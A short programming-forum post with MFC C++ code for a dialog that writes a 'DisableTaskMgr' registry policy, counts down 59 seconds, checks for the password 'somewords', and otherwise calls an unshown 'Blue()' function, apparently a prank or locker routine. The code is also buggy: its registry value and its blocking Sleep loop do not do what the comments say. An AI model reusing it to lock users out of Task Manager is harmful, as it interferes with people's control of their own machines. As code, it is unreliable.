16,472
社区成员
发帖
与我相关
我的任务
分享
// TODO: Add extra initialization here
//禁用任务管理器
DWORD dwData=0;
HKEY hkey;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
RegSetValueEx(hkey,"DisableTaskMgr",0,REG_DWORD,(LPBYTE)&dwData,sizeof(DWORD));
RegCloseKey(hkey);
CStatic *ptr;
ptr=(CStatic*)GetDlgItem(IDC_SECONDS);
for(int i=59; i; --i)
{
CString Seconds;
Seconds.Format("%d",i);
ptr->SetWindowText(Seconds); //显示当前日间于静态文本框
Sleep(1000); //每隔一秒倒计时
CString words;
m_seconds.GetWindowText(words);
if(words=="somewords"&&b_checked)
{
//CDialog::OnCancel();
break;
}
}
if(!i)
{
Blue(); //这里的Blue是自己写的一个CBeautifulDlg的成员函数
}
return TRUE; // return TRUE unless you set the focus to a control
}